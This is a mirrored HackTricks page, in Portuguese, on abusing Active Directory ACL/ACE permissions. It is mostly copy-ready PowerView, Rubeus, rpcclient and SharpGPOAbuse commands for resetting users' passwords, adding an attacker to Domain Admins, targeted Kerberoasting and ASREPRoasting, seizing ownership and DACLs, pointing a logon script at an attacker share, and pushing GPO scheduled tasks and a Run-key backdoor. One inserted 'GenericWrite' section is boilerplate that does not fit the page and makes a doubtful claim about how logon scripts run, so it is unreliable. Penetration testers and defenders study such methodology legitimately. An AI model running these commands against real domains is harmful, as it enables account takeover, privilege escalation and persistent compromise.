Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-21 10:33:36 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md

29 KiB
Raw Blame History

Abusando das ACLs/ACEs do Active Directory

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Contexto

Este laboratório é para abusar das permissões fracas das Listas de Controle de Acesso Discricionário (DACLs) e das Entradas de Controle de Acesso (ACEs) do Active Directory que compõem as DACLs.

Objetos do Active Directory, como usuários e grupos, são objetos seguráveis e as DACL/ACEs definem quem pode ler/modificar esses objetos (ou seja, alterar o nome da conta, redefinir a senha, etc).

Um exemplo de ACEs para o objeto segurável "Administradores de Domínio" pode ser visto aqui:

Algumas das permissões e tipos de objetos do Active Directory que nós, como atacantes, estamos interessados são:

  • GenericAll - direitos completos sobre o objeto (adicionar usuários a um grupo ou redefinir a senha do usuário)
  • GenericWrite - atualizar atributos do objeto (por exemplo, script de logon)
  • WriteOwner - alterar o proprietário do objeto para um usuário controlado pelo atacante e assumir o controle do objeto
  • WriteDACL - modificar as ACEs do objeto e dar ao atacante controle total sobre o objeto
  • AllExtendedRights - capacidade de adicionar usuário a um grupo ou redefinir senha
  • ForceChangePassword - capacidade de alterar a senha do usuário
  • Self (Autoassociação) - capacidade de adicionar-se a um grupo

Neste laboratório, vamos explorar e tentar explorar a maioria das ACEs mencionadas acima.

Vale a pena se familiarizar com todas as arestas do BloodHound e com o maior número possível de Direitos Estendidos do Active Directory, pois você nunca sabe quando pode encontrar um menos comum durante uma avaliação.

GenericAll no Usuário

Usando o powerview, vamos verificar se nosso usuário de ataque spotless tem direitos GenericAll no objeto AD para o usuário delegate:

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

Podemos ver que, de fato, nosso usuário spotless possui os direitos GenericAll, permitindo efetivamente que o invasor assuma a conta:

  • Alterar senha: Você pode simplesmente alterar a senha desse usuário com o seguinte comando:
net user <username> <password> /domain
  • Kerberoasting direcionado: Você pode tornar o usuário kerberoastable definindo um SPN na conta, kerberoastá-la e tentar quebrá-la offline:
# Definir SPN
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
# Obter Hash
.\Rubeus.exe kerberoast /user:<username> /nowrap
# Limpar SPN
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose

# Você também pode usar a ferramenta https://github.com/ShutdownRepo/targetedKerberoast
# para obter hashes de um ou todos os usuários
python3 targetedKerberoast.py -domain.local -u <username> -p password -v
  • ASREPRoasting direcionado: Você pode tornar o usuário ASREPRoastable desabilitando a pré-autenticação e, em seguida, ASREProastá-lo.
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}

GenericAll em Grupo

Vamos ver se o grupo Domain admins possui permissões fracas. Primeiro, vamos obter o distinguishedName dele:

Get-NetGroup "domain admins" -FullData


Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}

Podemos ver que nosso usuário de ataque spotless possui novamente direitos GenericAll:

Isso nos permite adicionar nós mesmos (o usuário spotless) ao grupo Domain Admin:

net group "domain admins" spotless /add /domain

O mesmo pode ser alcançado com o módulo Active Directory ou PowerSploit:

# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless

# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"

GenericAll / GenericWrite / Escrever em Computador/Usuário

{% content-ref url="shadow-credentials.md" %} shadow-credentials.md {% endcontent-ref %}

WriteProperty em Grupo

Se nosso usuário controlado tiver o direito de WriteProperty em Todos os objetos do grupo Domain Admin:

Podemos novamente nos adicionar ao grupo Domain Admins e elevar os privilégios:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

Autoassociação (Autoassociação de Membros) em Grupo

Outro privilégio que permite ao atacante adicionar-se a um grupo:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

WriteProperty (Autoassociação)

Mais um privilégio que permite ao atacante adicionar-se a um grupo:

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}


net group "domain admins" spotless /add /domain

ForceChangePassword

Se tivermos ExtendedRight no tipo de objeto User-Force-Change-Password, podemos redefinir a senha do usuário sem saber sua senha atual:

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

Fazendo o mesmo com o powerview:

Set-DomainUserPassword -Identity delegate -Verbose

Outro método que não requer mexer com a conversão de senha segura em string:

$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose

...ou um comando em uma linha se não houver uma sessão interativa disponível:

Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

e uma última maneira de conseguir isso a partir do Linux:

rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'

Mais informações:

WriteOwner no Grupo

Observe como antes do ataque, o proprietário do Domain Admins é Domain Admins:

Após a enumeração do ACE, se descobrirmos que um usuário sob nosso controle possui direitos de WriteOwner em ObjectType:All

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

...podemos alterar o proprietário do objeto Domain Admins para nosso usuário, que no nosso caso é spotless. Observe que o SID especificado com -Identity é o SID do grupo Domain Admins:

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
//You can also use the name instad of the SID (HTB: Reel)
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico

GenericWrite em Usuário

O objetivo deste método é abusar das permissões de controle de acesso (ACL) no Active Directory para obter persistência em um ambiente comprometido. Especificamente, vamos explorar a permissão GenericWrite em objetos de usuário.

Descrição

A permissão GenericWrite permite que um usuário modifique atributos específicos de um objeto no Active Directory. Essa permissão é normalmente concedida a grupos como "Domain Admins" e "Enterprise Admins". No entanto, se um usuário mal-intencionado conseguir obter essa permissão, ele poderá abusar dela para obter persistência no ambiente.

Método

O método consiste em seguir as etapas a seguir:

  1. Identificar um objeto de usuário no Active Directory que tenha a permissão GenericWrite concedida a um grupo de usuários.
  2. Modificar os atributos do objeto de usuário para incluir um comando malicioso que será executado sempre que o objeto for acessado.
  3. Aguardar que um usuário com permissões suficientes acesse o objeto de usuário, ativando assim o comando malicioso e fornecendo persistência.

Impacto

Ao abusar da permissão GenericWrite em objetos de usuário, um invasor pode executar comandos maliciosos sempre que o objeto for acessado. Isso pode levar a uma variedade de consequências prejudiciais, como roubo de credenciais, movimento lateral na rede e comprometimento de outros sistemas.

Mitigação

Para mitigar esse tipo de abuso, é recomendado:

  • Revisar e limitar cuidadosamente as permissões de controle de acesso concedidas a grupos de usuários no Active Directory.
  • Monitorar e auditar regularmente as permissões de controle de acesso no Active Directory para identificar qualquer permissão excessiva ou não autorizada.
  • Implementar práticas de segurança recomendadas, como a segregação de funções e a aplicação do princípio do menor privilégio.
  • Manter o Active Directory atualizado com as últimas correções de segurança para evitar vulnerabilidades conhecidas.

Referências

Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

A permissão WriteProperty em um ObjectType, que neste caso específico é Script-Path, permite que o atacante substitua o caminho do script de logon do usuário delegate, o que significa que da próxima vez que o usuário delegate fizer login, o sistema executará nosso script malicioso:

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"

Abaixo mostra o campo do script de logon do usuário delegate atualizado no AD:

GenericWrite no Grupo

Isso permite que você defina como membros do grupo novos usuários (você mesmo, por exemplo):

# Create creds
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
# Add user to group
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
# Check user was added
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
# Remove group member
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose

Encontre as vulnerabilidades mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

WriteDACL + WriteOwner

Se você é o proprietário de um grupo, como eu sou o proprietário de um grupo AD Test:

O que você pode fazer, é claro, através do powershell:

([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value

E se você tiver permissão WriteDACL nesse objeto AD:

...você pode se conceder privilégios GenericAll com um toque de magia ADSI:

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()

O que significa que agora você tem controle total sobre o objeto AD:

Isso significa efetivamente que você pode adicionar novos usuários ao grupo.

Interessante notar que não consegui abusar desses privilégios usando o módulo Active Directory e os cmdlets Set-Acl / Get-Acl:

$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl

Replicação no domínio (DCSync)

A permissão DCSync implica ter as seguintes permissões sobre o próprio domínio: DS-Replication-Get-Changes, Replicating Directory Changes All e Replicating Directory Changes In Filtered Set.
Saiba mais sobre o ataque DCSync aqui.

Delegação de GPO

Às vezes, certos usuários/grupos podem ter acesso delegado para gerenciar Objetos de Política de Grupo, como é o caso do usuário offense\spotless:

Podemos ver isso usando o PowerView da seguinte forma:

Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

O abaixo indica que o usuário offense\spotless possui privilégios de WriteProperty, WriteDacl, WriteOwner entre outros que são propícios para abuso:

Enumerar Permissões do GPO

Sabemos que o ObjectDN acima da captura de tela acima se refere ao GPO New Group Policy Object, pois o ObjectDN aponta para CN=Policies e também para CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}, que é o mesmo nas configurações do GPO, conforme destacado abaixo:

Se quisermos procurar especificamente por GPOs mal configurados, podemos encadear vários cmdlets do PowerSploit da seguinte maneira:

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

Computadores com uma Política Aplicada Específica

Agora podemos identificar os nomes dos computadores nos quais a GPO Política Mal Configurada está aplicada:

Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}

Políticas Aplicadas a um Computador Específico

Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName

Unidades Organizacionais com uma Política Aplicada

Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName

Abuso do GPO - New-GPOImmediateTask

Uma das maneiras de abusar dessa configuração incorreta e obter a execução de código é criar uma tarefa agendada imediata através do GPO, como mostrado abaixo:

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force

O código acima adicionará nosso usuário spotless ao grupo local administrators do computador comprometido. Observe como antes da execução do código, o grupo não contém o usuário spotless:

Módulo GroupPolicy - Abuso do GPO

{% hint style="info" %} Você pode verificar se o módulo GroupPolicy está instalado com Get-Module -List -Name GroupPolicy | select -expand ExportedCommands. Em caso de necessidade, você pode instalá-lo com Install-WindowsFeature –Name GPMC como administrador local. {% endhint %}

# Create new GPO and link it with the OU Workstrations
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
# Make the computers inside Workstrations create a new reg key that will execute a backdoor
## Search a shared folder where you can write and all the computers affected can read
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString

Este payload, após a atualização do GPO, também precisará que alguém faça login no computador.

SharpGPOAbuse - Abuso de GPO

{% hint style="info" %} Ele não pode criar GPOs, então ainda precisamos fazer isso com o RSAT ou modificar um ao qual já temos acesso de gravação. {% endhint %}

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"

Forçar a Atualização da Política

As atualizações abusivas anteriores da GPO são recarregadas aproximadamente a cada 90 minutos.
Se você tiver acesso ao computador, pode forçá-lo com gpupdate /force.

Por baixo dos panos

Se observarmos as Tarefas Agendadas da GPO Política Mal Configurada, podemos ver nossa evilTask lá:

Abaixo está o arquivo XML que foi criado pelo New-GPOImmediateTask que representa nossa tarefa agendada maliciosa na GPO:

{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml" %}

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
<Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
<Task version="1.3">
<RegistrationInfo>
<Author>NT AUTHORITY\System</Author>
<Description></Description>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>NT AUTHORITY\System</UserId>
<RunLevel>HighestAvailable</RunLevel>
<LogonType>S4U</LogonType>
</Principal>
</Principals>
<Settings>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<AllowStartOnDemand>false</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
<RestartOnFailure>
<Interval>PT15M</Interval>
<Count>3</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<Exec>
<Command>cmd</Command>
<Arguments>/c net localgroup administrators spotless /add</Arguments>
</Exec>
</Actions>
<Triggers>
<TimeTrigger>
<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
<EndBoundary>%LocalTimeXmlEx%</EndBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>

{% endcode %}

Usuários e Grupos

A mesma escalada de privilégios pode ser alcançada abusando do recurso de Usuários e Grupos do GPO. Observe no arquivo abaixo, na linha 6, onde o usuário spotless é adicionado ao grupo local administrators - podemos alterar o usuário para outra coisa, adicionar outro ou até mesmo adicionar o usuário a outro grupo/múltiplos grupos, já que podemos modificar o arquivo de configuração da política no local mostrado devido à delegação do GPO atribuída ao nosso usuário spotless:

{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups" %}

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
<Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
<Members>
<Member name="spotless" action="ADD" sid="" />
</Members>
</Properties>
</Group>
</Groups>

{% endcode %}

Além disso, podemos pensar em aproveitar scripts de logon/logoff, usar o registro para autoruns, instalar .msi, editar serviços e outras formas de execução de código.

Referências

Encontre as vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, realiza varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥